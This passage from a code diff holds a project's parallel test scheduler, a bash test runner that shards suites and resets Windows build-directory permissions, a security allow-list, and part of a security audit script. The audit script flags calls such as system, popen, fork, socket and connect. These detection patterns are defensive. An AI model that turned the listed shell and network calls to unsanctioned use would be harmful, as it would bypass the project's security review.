raise RuntimeError(f"cannot read suite file {path}: {exc}") from exc
malformed = [suite for suite in suites if SUITE_NAME.fullmatch(suite) is None]
if malformed:
raise RuntimeError(f"malformed suite name in {path}: {malformed[0]!r}")
if len(set(suites)) != len(suites):
raise RuntimeError(f"duplicate suite name in {path}")
return suites
def append_log(path: pathlib.Path, message: str) -> None:
with path.open("a", encoding="utf-8", newline="\n") as stream:
stream.write(message)
stream.write("\n")
def start_suite(
suite: str,
runner_command: list[str],
log_dir: pathlib.Path,
timeout: int,
) -> ActiveSuite | None:
log_path = log_dir / f"{suite}.log"
log_file = log_path.open("wb")
popen_args: dict[str, object] = {
"stdout": log_file,
"stderr": subprocess.STDOUT,
}
if os.name == "nt":
popen_args["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
else:
popen_args["start_new_session"] = True
try:
process = subprocess.Popen(runner_command + [suite], **popen_args)
except OSError as exc:
log_file.close()
append_log(log_path, f" FAIL: could not start suite {suite!r}: {exc}")
return None
return ActiveSuite(
name=suite,
process=process,
log_path=log_path,
log_file=log_file,
started=time.monotonic(),
timeout=timeout,
)
def windows_descendants(pid: int, timeout: int) -> bool:
"""True if any live process still claims `pid` as its parent.
Used only when the suite leader has already exited: `taskkill /T` cannot
walk a tree from a dead PID, so cleanup is proven by asking whether anything
is still parented to it. One level deep on purpose -- Windows does not
reparent orphans, so a grandchild keeps pointing at its own (dead) parent
and would not be found here. That is a weaker proof than taskkill /T, which
is why it is reserved for the case where the strong proof is impossible.
"""
try:
completed = subprocess.run(
[
"powershell.exe",
"-NoProfile",
"-NonInteractive",
"-Command",
"@(Get-CimInstance Win32_Process -Filter "
f"'ParentProcessId={pid}').Count",
],
check=False,
stdin=subprocess.DEVNULL,
capture_output=True,
text=True,
timeout=timeout,
)
except (OSError, subprocess.TimeoutExpired):
return True # cannot prove absence -> assume the worst
if completed.returncode != 0:
return True
return (completed.stdout or "").strip() not in ("0", "")
def terminate_process_tree(active: ActiveSuite, kill_grace: int) -> None:
process = active.process
leader_exited = process.poll() is not None
if os.name == "nt":
if leader_exited:
# The leader can exit on its own between the timeout decision and
# this call. Refusing outright made the harness itself lose a race:
# a natural exit at the wrong moment failed the whole wave, which is
# how a deliberately-hanging fixture suite reddened a release run.
# taskkill /T cannot walk a tree from a dead PID, so prove cleanup
# the only way still available -- nothing is parented to it.
if windows_descendants(process.pid, kill_grace):
raise RuntimeError(
f"suite {active.name!r} leader exited leaving live descendants"
)
return
try:
completed = subprocess.run(
[
"taskkill.exe",
"/PID",
str(process.pid),
"/T",
"/F",
],
check=False,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=kill_grace,
)
except (OSError, subprocess.TimeoutExpired):
completed = None
if completed is None or completed.returncode != 0:
if process.poll() is None:
process.kill()
try:
process.wait(timeout=kill_grace)
except subprocess.TimeoutExpired:
pass
raise RuntimeError(
f"suite {active.name!r} taskkill could not prove process-tree cleanup"
)
try:
process.wait(timeout=kill_grace)
except subprocess.TimeoutExpired as exc:
process.kill()
raise RuntimeError(
f"suite {active.name!r} process tree resisted forced termination"
) from exc
return
def group_active() -> bool:
try:
os.killpg(process.pid, 0)
return True
except ProcessLookupError:
return False
except PermissionError:
return True
def wait_for_group_exit(deadline: float) -> bool:
while time.monotonic() < deadline:
process.poll()
if not group_active():
return True
time.sleep(POLL_SECONDS)
process.poll()
return not group_active()
try:
os.killpg(process.pid, signal.SIGTERM)
except ProcessLookupError:
return
if wait_for_group_exit(time.monotonic() + kill_grace):
return
try:
os.killpg(process.pid, signal.SIGKILL)
except ProcessLookupError:
return
if wait_for_group_exit(time.monotonic() + kill_grace):
return
raise RuntimeError(
f"suite {active.name!r} process group persisted after forced termination"
)
def wait_for_test_pre_terminate_barrier(
barrier_dir: pathlib.Path | None,
active: ActiveSuite,
) -> None:
if barrier_dir is None:
return
hold = barrier_dir / f"{active.name}.hold"
if not hold.exists():
return
ready = barrier_dir / f"{active.name}.ready"
leader_exited = barrier_dir / f"{active.name}.leader-exited"
release = barrier_dir / f"{active.name}.release"
ready.write_text(f"{active.process.pid}\n", encoding="utf-8")
deadline = time.monotonic() + 10
while not release.exists():
returncode = active.process.poll()
if returncode is not None and not leader_exited.exists():
leader_exited.write_text(f"{returncode}\n", encoding="utf-8")
if time.monotonic() >= deadline:
raise RuntimeError(
f"test pre-terminate barrier for {active.name!r} was not released"
)
time.sleep(POLL_SECONDS)
def wait_for_test_post_exit_barrier(
barrier_dir: pathlib.Path | None,
suite: str,
) -> None:
if barrier_dir is None:
return
hold = barrier_dir / f"{suite}.hold"
if not hold.exists():
return
ready = barrier_dir / f"{suite}.ready"
release = barrier_dir / f"{suite}.release"
ready.write_text("child exited; result intentionally not recorded\n", encoding="utf-8")
deadline = time.monotonic() + 10
while not release.exists():
if time.monotonic() >= deadline:
raise RuntimeError(f"test post-exit barrier for {suite!r} was not released")
time.sleep(POLL_SECONDS)
def parse_summary(log_path: pathlib.Path) -> tuple[int, int, int] | None:
try:
stream = log_path.open(encoding="utf-8", errors="replace")
except OSError as exc:
raise RuntimeError(f"cannot read suite log {log_path}: {exc}") from exc
last_summary = None
with stream:
for line in stream:
match = SUMMARY.match(line)
if match is None:
continue
failed = FAILED.search(line)
skipped = SKIPPED.search(line)
last_summary = (
int(match.group("passed")),
int(failed.group("failed")) if failed is not None else 0,
int(skipped.group("skipped")) if skipped is not None else 0,
)
return last_summary
def record_result(
active: ActiveSuite,
returncode: int,
results_file: pathlib.Path,
timed_out: bool,
) -> None:
active.log_file.close()
elapsed = max(0, int(time.monotonic() - active.started))
if timed_out:
returncode = 124
append_log(
active.log_path,
f" FAIL: suite {active.name!r} exceeded {active.timeout}s wall clock "
"(killed as hung)",
)
summary = parse_summary(active.log_path)
if returncode == 0 and summary is None:
returncode = 97
append_log(
active.log_path,
f" FAIL: suite {active.name!r} exited 0 without a completion summary "
"(ran nothing?)",
)
passed, failed, skipped = summary or (0, 0, 0)
result = (
f"{active.name} rc={returncode} pass={passed} fail={failed} "
f"skip={skipped} secs={elapsed}"
)
with results_file.open("a", encoding="utf-8", newline="\n") as stream:
stream.write(result)
stream.write("\n")
print(f" {result}", flush=True)
def record_start_failure(
suite: str,
log_dir: pathlib.Path,
results_file: pathlib.Path,
) -> None:
result = f"{suite} rc=98 pass=0 fail=0 skip=0 secs=0"
with results_file.open("a", encoding="utf-8", newline="\n") as stream:
stream.write(result)
stream.write("\n")
print(f" {result}", flush=True)
if not (log_dir / f"{suite}.log").exists():
append_log(log_dir / f"{suite}.log", f" FAIL: suite {suite!r} did not start")
def run_wave(args: argparse.Namespace) -> None:
suites = read_suites(args.suite_file)
args.log_dir.mkdir(parents=True, exist_ok=True)
args.results_file.parent.mkdir(parents=True, exist_ok=True)
args.results_file.touch(exist_ok=True)
pending = list(suites)
active: dict[str, ActiveSuite] = {}
try:
while pending or active:
while pending and len(active) < args.jobs:
suite = pending.pop(0)
timeout = (
args.slow_timeout if suite in SLOW_SUITES else args.timeout
)
started = start_suite(
suite,
list(args.runner_command),
args.log_dir,
timeout,
)
if started is None:
record_start_failure(suite, args.log_dir, args.results_file)
else:
active[suite] = started
made_progress = False
now = time.monotonic()
for suite, running in list(active.items()):
returncode = running.process.poll()
timed_out = returncode is None and now - running.started >= running.timeout
if returncode is None and not timed_out:
continue
if timed_out:
wait_for_test_pre_terminate_barrier(
args.test_pre_terminate_barrier_dir,
running,
)
terminate_process_tree(running, args.kill_grace)
returncode = running.process.returncode
wait_for_test_post_exit_barrier(
args.test_post_exit_barrier_dir,
suite,
)
record_result(
running,
int(returncode if returncode is not None else 124),
args.results_file,
timed_out,
)
del active[suite]
made_progress = True
if active and not made_progress:
time.sleep(POLL_SECONDS)
finally:
cleanup_errors: list[str] = []
for running in active.values():
try:
terminate_process_tree(running, args.kill_grace)
except (OSError, RuntimeError) as exc:
cleanup_errors.append(f"{running.name}: {exc}")
finally:
try:
running.log_file.close()
except OSError as exc:
cleanup_errors.append(f"{running.name} log close: {exc}")
if cleanup_errors:
raise RuntimeError(
"parallel scheduler cleanup failed: " + "; ".join(cleanup_errors)
)
def main() -> int:
args = parse_args()
try:
if os.environ.get("MSYSTEM") and os.name != "nt":
raise RuntimeError(
"Windows/MSYS test runs require the native MinGW Python "
"(os.name must be 'nt')"
)
run_wave(args)
except (OSError, RuntimeError) as exc:
print(f"FAIL: parallel scheduler infrastructure error: {exc}", file=sys.stderr)
return 2
return 0
if __name__ == "__main__":
raise SystemExit(main())
+310
View File
@@ -0,0 +1,310 @@
#!/usr/bin/env bash
# run-tests-parallel.sh — run every registered test suite as parallel
# processes of the already-built test-runner.
#
# ZERO-LOSS CONTRACT (gate quality must be identical to the sequential run):
# 1. The suite list comes from `test-runner --list-suites`, which is printed
# by the SAME macro table that executes suites — the list cannot drift
# from reality by construction.
# 2. UNION GUARD: after the run, the set of suites that actually produced a
# result is compared against that list; any difference (a suite that
# never ran, or ran twice) fails the gate loudly. A newly added suite is
# picked up automatically on the next invocation.
# 3. Per-suite pass/fail/skip counts are summed and reported in the same
# "N passed[, M failed][, K skipped]" shape as the sequential runner, so
# before/after totals are directly comparable.
# 4. ANY suite failing, crashing (nonzero exit), or missing ⇒ exit 1.
#
# Usage: run-tests-parallel.sh <path-to-test-runner> [jobs]
# jobs defaults to CBM_TEST_PAR_JOBS, then the CPU count.
set -uo pipefail
RUNNER="${1:?usage: run-tests-parallel.sh <path-to-test-runner> [jobs]}"
JOBS="${2:-${CBM_TEST_PAR_JOBS:-}}"
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
SCHEDULER="$SCRIPT_DIR/run-test-wave.py"
if [ -z "$JOBS" ]; then
if command -v nproc >/dev/null 2>&1; then
JOBS=$(nproc)
elif command -v sysctl >/dev/null 2>&1; then
JOBS=$(sysctl -n hw.ncpu 2>/dev/null || echo 4)
else
JOBS=4
fi
fi
LOGDIR="$(dirname "$RUNNER")/test-logs"
rm -rf "$LOGDIR"
mkdir -p "$LOGDIR"
# Windows: shape the build directory like a real user checkout BEFORE the
# suites run. MSYS2's Cygwin layer writes POSIX-emulating DACLs — including
# CREATOR OWNER (S-1-3-0) mutation grants — onto directories its tools
# touch, and workspace drive roots additionally inherit Authenticated-Users
# Modify; the activation transaction's source-directory policy correctly
# refuses both, which would fail the install-flow tests on the environment,
# not the code. Stamping must happen AFTER the build (the builders are the
# ones re-writing the DACL), so it lives here rather than in workflow
# setup. Two idempotent steps: protect the DIRECTORY (inheritance flags are
# directory-only — a /T re-root leaves files with empty deny-all DACLs),
# then /reset the children to re-inherit the clean set.
stamp_windows_build_dir() {
local when="$1"
case "$(uname -s 2>/dev/null)" in
MINGW* | MSYS*) ;;
*) return 0 ;;
esac
local runner_dir_w me norm_out stamp_out reset_out
runner_dir_w="$(cygpath -w "$(dirname "$RUNNER")")"
me="$(whoami | tr -d '\r')"
# Normalize FIRST: some runner images stamp EXPLICIT (non-inherited)
# Authenticated-Users ACEs onto the workspace tree, which /inheritance:r
# cannot strip and /grant:r does not touch (it replaces only the granted
# SIDs' own entries). /reset drops every explicit ACE and restores pure
# inheritance, so the protect-and-grant below starts from a known shape
# regardless of image provisioning.
norm_out=$(MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" /reset /Q 2>&1) ||
echo "WARN: build-dir DACL normalize ($when) failed: $norm_out"
stamp_out=$(MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" /inheritance:r \
/grant:r "${me}:(OI)(CI)F" '*S-1-5-18:(OI)(CI)F' '*S-1-5-32-544:(OI)(CI)F' \
/Q 2>&1) || echo "WARN: build-dir DACL stamp ($when) failed (user=$me dir=$runner_dir_w): $stamp_out"
reset_out=$(MSYS2_ARG_CONV_EXCL='*' icacls "${runner_dir_w}\\*" /reset /T /C /Q 2>&1) ||
echo "WARN: build-dir child DACL reset ($when) failed: $(printf '%s' "$reset_out" | tail -2)"
# The stamp is load-bearing for the install-flow suites: verify it and say
# so, in either direction — a silent stamp once cost a full CI round to
# even see WHETHER it had run.
if MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" 2>/dev/null |
grep -qE 'Authenticated Users|CREATOR OWNER'; then
echo "FAIL: build-dir DACL still grants cross-account mutation after $when stamp:"
MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" 2>&1 | head -8
exit 1
else
echo "build-dir DACL stamped clean ($when, $runner_dir_w, user=$me)"
fi
}
stamp_windows_build_dir pre-wave
SUITES_FILE="$LOGDIR/suites.txt"
RESULTS_FILE="$LOGDIR/results.txt"
: > "$RESULTS_FILE"
# tr strips the CR that the Windows CRT appends to every stdout line — a
# suites file with CRLF endings made the runner reject every name
# ("arena\r" is an unknown suite) and fail all 104 suites on CI.
if ! "$RUNNER" --list-suites | tr -d '\r' > "$SUITES_FILE"; then
echo "FAIL: test-runner --list-suites exited nonzero" >&2
exit 1
fi
NSUITES=$(wc -l < "$SUITES_FILE" | tr -d ' ')
if [ "$NSUITES" -lt 1 ] || grep -qvE '^[a-z0-9_]+$' "$SUITES_FILE"; then
echo "FAIL: suite list empty or malformed (runner too old for --list-suites?)" >&2
exit 1
fi
# CBM_TEST_SHARD="i/N" runs this invocation's deterministic slice of the
# suite list so CI can spread one platform's suites across N runner jobs.
# Unset (or "1/1") selects everything — the sharding path is inert unless a
# workflow opts in. The slice is a pure function of (--list-suites, i, N):
# every shard recomputes the same assignment, so N jobs with indices 1..N
# cover the full list by construction, and each job's union guard below
# proves it ran exactly its slice.
SHARD_INDEX=1
SHARD_TOTAL=1
if [ -n "${CBM_TEST_SHARD:-}" ]; then
if ! printf '%s' "$CBM_TEST_SHARD" | grep -qE '^[0-9]+/[0-9]+$'; then
echo "FAIL: CBM_TEST_SHARD must be i/N, got '$CBM_TEST_SHARD'" >&2
exit 1
fi
SHARD_INDEX="${CBM_TEST_SHARD%%/*}"
SHARD_TOTAL="${CBM_TEST_SHARD##*/}"
if [ "$SHARD_TOTAL" -lt 1 ] || [ "$SHARD_INDEX" -lt 1 ] ||
[ "$SHARD_INDEX" -gt "$SHARD_TOTAL" ]; then
echo "FAIL: CBM_TEST_SHARD out of range: $CBM_TEST_SHARD" >&2
exit 1
fi
fi
# Deal the known-heavy suites round-robin FIRST so no shard receives a
# second heavy suite before every shard holds one — shard wall time is
# bounded by its heaviest member, and naive modulo can stack store_arch and
# daemon_runtime (the two slowest sanitized suites) onto one job.
shard_filter() {
awk -v idx="$SHARD_INDEX" -v total="$SHARD_TOTAL" '
BEGIN {
nh = split("store_arch daemon_runtime incremental cli extraction " \
"watcher daemon_ipc subprocess httpd py_lsp_stress " \
"grammar_regression mcp daemon_frontend pipeline", h, " ")
}
{ present[$0] = NR; lines[NR] = $0 }
END {
# Deal heavies in WEIGHT order (the static list above), not file
# order: the point is that the two slowest suites land on
# different shards, which file-order dealing does not guarantee.
n = 0
for (i = 1; i <= nh; i++)
if (h[i] in present) { order[++n] = h[i]; taken[h[i]] = 1 }
for (i = 1; i <= NR; i++)
if (!(lines[i] in taken)) order[++n] = lines[i]
for (i = 1; i <= n; i++) if ((i - 1) % total == idx - 1) print order[i]
}
'
}
# Timing-sensitive suites run SEQUENTIALLY after the parallel wave: they
# spawn subprocesses / watch the filesystem / bind ports with fixed
# deadlines, and a saturated 4-core CI runner starves those deadlines into
# flakes (3 cli-suite failures on the ubuntu legs of the first CI run).
# Same suites, same tests, same gates — only the schedule differs; the
# union guard below still checks the COMBINED result set.
# stack_overflow_a/b/c: their giant-recursion ASan allocations stall ~100x
# when co-STARTED with a large wave on Apple Silicon (2s staggered vs ~230s
# simultaneous — a local scheduler/zone quirk, not contention: job count
# does not change it). Staggered in the tail they cost seconds.
# The daemon-family suites spawn coordinated worker subprocesses (a re-exec
# of this ASan runner plus the full admission handshake) and bind local
# endpoints under fixed readiness deadlines (3 s marker waits in
# index_supervisor); the saturated 3-core macOS CI runners starve those
# deadlines into deterministic failures while an idle machine passes 6/6.
# They also all rendezvous through the shared per-account runtime namespace,
# which the quiet tail keeps free of cross-suite admission traffic.
SERIAL_SUITES="cli subprocess watcher incremental httpd ui index_resilience mcp \
stack_overflow_a stack_overflow_b stack_overflow_c \
index_supervisor daemon_application daemon_runtime daemon_frontend \
daemon_bootstrap daemon_ipc"
is_serial() {
case " $SERIAL_SUITES " in *" $1 "*) return 0 ;; *) return 1 ;; esac
}
PAR_FILE="$LOGDIR/suites-parallel.txt"
SER_FILE="$LOGDIR/suites-serial.txt"
: > "$PAR_FILE"
: > "$SER_FILE"
while IFS= read -r sname; do
if is_serial "$sname"; then
echo "$sname" >> "$SER_FILE"
else
echo "$sname" >> "$PAR_FILE"
fi
done < "$SUITES_FILE"
# The parallel wave and the serial tail are sharded separately: every shard
# keeps its own quiet tail for the deadline-sensitive suites (its runner is
# a whole machine, so the tail is at least as quiet as before sharding).
shard_filter < "$PAR_FILE" > "$PAR_FILE.shard" && mv "$PAR_FILE.shard" "$PAR_FILE"
shard_filter < "$SER_FILE" > "$SER_FILE.shard" && mv "$SER_FILE.shard" "$SER_FILE"
SHARD_EXPECT="$LOGDIR/suites-shard.txt"
cat "$PAR_FILE" "$SER_FILE" > "$SHARD_EXPECT"
NSHARD=$(wc -l < "$SHARD_EXPECT" | tr -d ' ')
# Machine-checkable manifest for CI's cross-shard completeness job: it
# proves at runtime that the shards of one leg agree on N and on the full
# suite list, and that the union of their slices IS that list — the guard
# against a mis-plumbed CBM_TEST_SHARD (two jobs running the same slice
# passes every per-shard check but silently drops a slice; only a
# cross-shard view catches it). Written BEFORE any suite runs: the slice is
# fully determined here, and a red run's manifest is exactly as load-bearing
# as a green one's — CI uploads it if: always().
{
echo "leg=${CBM_TEST_LEG:-local}"
echo "shard=${SHARD_INDEX}/${SHARD_TOTAL}"
echo "list_sha256=$(sort "$SUITES_FILE" | { sha256sum 2>/dev/null || shasum -a 256; } | awk '{print $1}')"
echo "--- slice ---"
cat "$SHARD_EXPECT"
} > "$LOGDIR/shard-manifest.txt"
echo "=== parallel test run: $NSHARD of $NSUITES suites (shard ${SHARD_INDEX}/${SHARD_TOTAL}, $(wc -l < "$SER_FILE" | tr -d ' ') serial-tail), $JOBS jobs ==="
# Per-suite wall-clock ceilings make a wedged child fail loudly. The
# `incremental` suite legitimately re-indexes large fixtures (minutes), while
# `daemon_runtime` measures ~610s solo on arm64 under ASan; those and
# `store_arch` receive the wider ceiling. Process ownership and result
# accounting live in one Python parent — no exported MSYS bash worker remains
# between a completed native child and its durable result line.
run_wave() {
local suite_file="$1"
local jobs="$2"
if ! python3 "$SCHEDULER" \
--suite-file "$suite_file" \
--log-dir "$LOGDIR" \
--results-file "$RESULTS_FILE" \
--jobs "$jobs" \
--timeout "${CBM_SUITE_TIMEOUT:-900}" \
--slow-timeout "${CBM_SUITE_TIMEOUT_SLOW:-3600}" \
--kill-grace 15 \
"$RUNNER"; then
echo "FAIL: parallel suite scheduler infrastructure failed" >&2
exit 1
fi
}
run_wave "$PAR_FILE" "$JOBS"
# Tail scheduling in two phases. The FLEX suites are timing-shaped but do
# not rendezvous through the shared per-account daemon runtime namespace,
# so a small fixed overlap (CBM_TAIL_JOBS, default 2) is safe and converts
# idle cores into wall time — the old fully-serial tail ran them one at a
# time on an idle machine. The EXCL group (daemon-family plus the suites
# that drive daemon one-shots or supervisor rendezvous) then runs strictly
# sequentially on a machine exactly as quiet as the old tail gave it.
TAIL_EXCL="cli mcp index_supervisor daemon_application daemon_runtime \
daemon_frontend daemon_bootstrap daemon_ipc"
is_tail_excl() {
case " $TAIL_EXCL " in *" $1 "*) return 0 ;; *) return 1 ;; esac
}
FLEX_FILE="$LOGDIR/suites-tail-flex.txt"
EXCL_FILE="$LOGDIR/suites-tail-excl.txt"
: > "$FLEX_FILE"
: > "$EXCL_FILE"
while IFS= read -r sname; do
if is_tail_excl "$sname"; then
echo "$sname" >> "$EXCL_FILE"
else
echo "$sname" >> "$FLEX_FILE"
fi
done < "$SER_FILE"
# Wave suites spawn Cygwin-family tooling that can rewrite the build
# directory's DACL behind the first stamp (observed: an arm shard whose
# tail held the install-flow suites failed the source-directory policy
# minutes after a clean pre-wave stamp, while its sibling shard passed).
# Re-stamp at the tail boundary so the deadline-sensitive tail — which
# hosts those suites — always starts from the verified-clean shape.
stamp_windows_build_dir pre-tail
run_wave "$FLEX_FILE" "${CBM_TAIL_JOBS:-2}"
run_wave "$EXCL_FILE" 1
# ── Union guard: every suite in this shard's slice produced exactly one
# result. The slice is deterministic, so N green shard jobs = full coverage;
# a shard that ran anything more, less, or twice fails here. ──
MISSING=$(comm -23 <(sort "$SHARD_EXPECT") <(awk '{print $1}' "$RESULTS_FILE" | sort -u))
EXTRA=$(comm -13 <(sort "$SHARD_EXPECT") <(awk '{print $1}' "$RESULTS_FILE" | sort -u))
DUPES=$(awk '{print $1}' "$RESULTS_FILE" | sort | uniq -d)
if [ -n "$MISSING" ] || [ -n "$EXTRA" ] || [ -n "$DUPES" ]; then
echo "FAIL: shard union does not match its --list-suites slice (GATE-QUALITY LOSS)" >&2
[ -n "$MISSING" ] && echo " never ran: $MISSING" >&2
[ -n "$EXTRA" ] && echo " outside slice: $EXTRA" >&2
[ -n "$DUPES" ] && echo " ran twice: $DUPES" >&2
exit 1
fi
TOTAL_PASS=$(awk -F'pass=' '{split($2,a," "); s+=a[1]} END{print s+0}' "$RESULTS_FILE")
TOTAL_FAIL=$(awk -F'fail=' '{split($2,a," "); s+=a[1]} END{print s+0}' "$RESULTS_FILE")
TOTAL_SKIP=$(awk -F'skip=' '{split($2,a," "); s+=a[1]} END{print s+0}' "$RESULTS_FILE")
BAD_RC=$(grep -cv ' rc=0 ' "$RESULTS_FILE" || true)
echo "── 8 slowest suites ──"
sort -t= -k6 -rn "$RESULTS_FILE" | head -8
grep -v ' rc=0 ' "$RESULTS_FILE" || true
for f in $(grep -v ' rc=0 ' "$RESULTS_FILE" | awk '{print $1}'); do
echo "──── $f: every failure site ────"
grep -B2 -A8 "FAIL" "$LOGDIR/$f.log" | head -120
echo "──── $f: last 15 lines ────"
tail -15 "$LOGDIR/$f.log"
done
echo "────────────────────────────────────────────"
echo " $TOTAL_PASS passed, $TOTAL_FAIL failed, $TOTAL_SKIP skipped ($NSUITES suites, $JOBS jobs)"
echo "────────────────────────────────────────────"
if [ "$TOTAL_FAIL" -gt 0 ] || [ "$BAD_RC" -gt 0 ]; then
exit 1
fi
exit 0
+72
View File
@@ -0,0 +1,72 @@
# Security allow-list for dangerous function calls.
# Format: file:function:justification
# Lines starting with # are comments. Empty lines are ignored.
# Any call to a listed function in a .c file under src/ that is NOT on this
# list causes the security audit (scripts/security-audit.sh) to fail.
# ── Foundation: platform abstraction (defines cbm_popen wrapper + shell-free exec) ──
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
src/foundation/compat_fs.c:fork:cbm_exec_no_shell — fork+execvp for shell-free subprocess execution
src/foundation/subprocess.c:fork:cbm_run_posix — fork+execv for the crash/hang-isolating index worker (supervisor primitive; child execs immediately, no code runs in the forked image)
src/foundation/compat_fs.c:execvp:cbm_exec_no_shell — direct exec without shell interpretation
# ── Coordination daemon: detached bootstrap and test-only watchdog probe ────
src/daemon/bootstrap.c:fork:validated shell-free double-fork; grandchild resets signals/umask, closes inherited descriptors, and execv's the exact current CBM image
src/main.c:fork:test-only parent-death containment descendant; inert unless the private CBM_TEST_WORKER_DESCENDANT_PID_FILE probe is explicitly set
# ── Coordination daemon: count-bounded local IPC (never Internet sockets) ──
# Format: NETWORK:file:function:expected-count:justification
NETWORK:src/daemon/ipc.c:socket:1:single owner-only AF_UNIX stream constructor
NETWORK:src/daemon/ipc.c:connect:1:single sockaddr_un-typed connect wrapper used only with the stable owner-only daemon endpoint
# ── Coordination daemon: count-bounded private internal file writes ────────
# Format: WRITE:file:expected-count:justification
WRITE:src/main.c:1:supervised worker writes its MCP result only to the private unique response path created and retained by its parent
WRITE:src/daemon/application.c:1:recovery truncates only its private uniquely-created per-job marker file
# ── CLI: update command (user-initiated, interactive) ──────────────────────
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
src/cli/cli.c:popen:sha256 checksum computation via shasum
# ── Watcher: git status polling (repo paths validated via cbm_validate_shell_arg) ──
src/watcher/watcher.c:system:git repo detection (is_git_repo)
src/watcher/watcher.c:cbm_popen:git HEAD hash (git_head)
src/watcher/watcher.c:cbm_popen:git working tree status (git_is_dirty)
src/watcher/watcher.c:cbm_popen:git file count (git_file_count)
src/watcher/watcher.c:popen:via cbm_popen wrapper calls
# ── Git context: git metadata resolution (repo paths validated via cbm_validate_shell_arg) ──
src/git/git_context.c:cbm_popen:git rev-parse/symbolic-ref/merge-base metadata lookup
src/git/git_context.c:popen:via cbm_popen wrapper call
# ── MCP server: search and change detection ────────────────────────────────
src/mcp/mcp.c:cbm_popen:search_code via grep (pattern in temp file, path validated)
src/mcp/mcp.c:cbm_popen:detect_changes via git diff (args validated)
src/mcp/mcp.c:cbm_popen:git ls-files count for auto-index (session_root validated)
src/mcp/mcp.c:cbm_popen:update check to api.github.com (hardcoded URL)
src/mcp/mcp.c:popen:via cbm_popen wrapper calls
# ── Pipeline: git history parsing (git log) ────────────────────────────────
src/pipeline/pass_githistory.c:cbm_popen:git log for file history (path validated)
src/pipeline/pass_githistory.c:popen:via cbm_popen wrapper call
# ── Pipeline: artifact persistence (git HEAD hash, merge driver config) ────
src/pipeline/artifact.c:cbm_popen:git rev-parse HEAD for artifact metadata (hardcoded cmd)
src/pipeline/artifact.c:cbm_popen:git config merge.ours.driver for gitattributes (hardcoded cmd)
src/pipeline/artifact.c:popen:via cbm_popen wrapper calls
# ── UI: HTTP server process management ─────────────────────────────────────
src/ui/http_server.c:popen:ps process listing for metrics endpoint
src/ui/http_server.c:fork:spawn indexing subprocess
src/ui/http_server.c:execl:exec indexing binary in child process
# ── Allowed URLs ───────────────────────────────────────────────────────────
# Format: URL:justification
URL:https://api.github.com/repos/DeusData/codebase-memory-mcp/releases/latest:update check
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest/download:binary download + checksums
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest:version check via redirect header
URL:http://127.0.0.1:UI server binding (localhost only)
URL:https://www.sqlite.org/c3ref/c_checkpoint_full.html:sqlite WAL checkpoint API doc reference (comment only, not a network call)
URL:https://github.com/DeusData/codebase-memory-mcp:project repository self-reference in update/star notice (src/mcp/mcp.c)
URL:https://%s:GitHub blob-URL construction in src/ui/http_server.c cbm_ui_git_web_base — https-forces the repo web base for frontend deep-links (not a network call)
+343
View File
@@ -0,0 +1,343 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 1: Static security audit — scans C source for dangerous calls.
# Every occurrence must be on the checked-in allow-list.
#
# Usage: scripts/security-audit.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
ALLOWLIST="$ROOT/scripts/security-allowlist.txt"
if [[ ! -f "$ALLOWLIST" ]]; then
echo "FAIL: allow-list not found: $ALLOWLIST"
exit 1
fi
# Use a flag file to communicate failures from subshells
FAIL_FLAG=$(mktemp)
echo "0" > "$FAIL_FLAG"
trap 'rm -f "$FAIL_FLAG"' EXIT
fail() {
echo "1" > "$FAIL_FLAG"
}
# ── 1. Dangerous function calls ─────────────────────────────────
echo "=== Layer 1: Static Security Audit ==="
echo ""
echo "--- Scanning for dangerous function calls ---"
# For each file:function pair on the allow-list, the file is allowed to contain
# that function. Any file:function NOT on the list causes failure.
FUNC_LIST="system popen cbm_popen execl fork"
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
for func in $FUNC_LIST; do
# Build precise grep pattern to avoid substring matches:
# 'popen(' must NOT match 'cbm_popen(' — use [^a-z] negative class
case "$func" in
cbm_popen) pattern="cbm_popen(" ;;
popen) pattern="[^a-z]popen(" ;;
system) pattern="[^a-z_]system(" ;;
fork) pattern="[^a-z_]fork(" ;;
*) pattern="[^a-z_]${func}(" ;;
esac
# Grep for pattern, excluding comments and #define lines
if grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' > /dev/null 2>&1; then
if ! grep -q "^${relfile}:${func}:" "$ALLOWLIST" 2>/dev/null; then
echo "BLOCKED: ${relfile}: contains ${func}() — not on allow-list"
grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | head -3 | sed 's/^/ /'
fail
fi
fi
done
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
# ── 1b. Raw network calls (count-bounded explicit exceptions) ───
#
# The graph-UI HTTP server (src/ui/httpd.c) is the one component that owns a
# listening socket. It is first-party, binds 127.0.0.1 only, and is audited
# separately by scripts/security-ui.sh (binding + CORS checks), so it is
# exempt from this scan. The coordination transport may use only explicitly
# count-bounded AF_UNIX calls recorded in the security allow-list.
echo ""
echo "--- Scanning for raw network calls ---"
NETWORK_OK=true
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
[[ "$relfile" == "src/ui/httpd.c" ]] && continue
for func in socket connect sendto; do
matches=$(grep -n -E "[^a-z_]${func}\\(" "$file" 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' || true)
[[ -z "$matches" ]] && continue
actual_count=$(printf '%s\n' "$matches" | wc -l | tr -d ' ')
allowance=$(grep -E "^NETWORK:${relfile}:${func}:[0-9]+:" \
"$ALLOWLIST" 2>/dev/null || true)
allowance_count=$(printf '%s\n' "$allowance" | grep -c . || true)
expected_count=$(printf '%s\n' "$allowance" | cut -d: -f4)
semantic_ok=true
if [[ "$func" == "socket" ]] &&
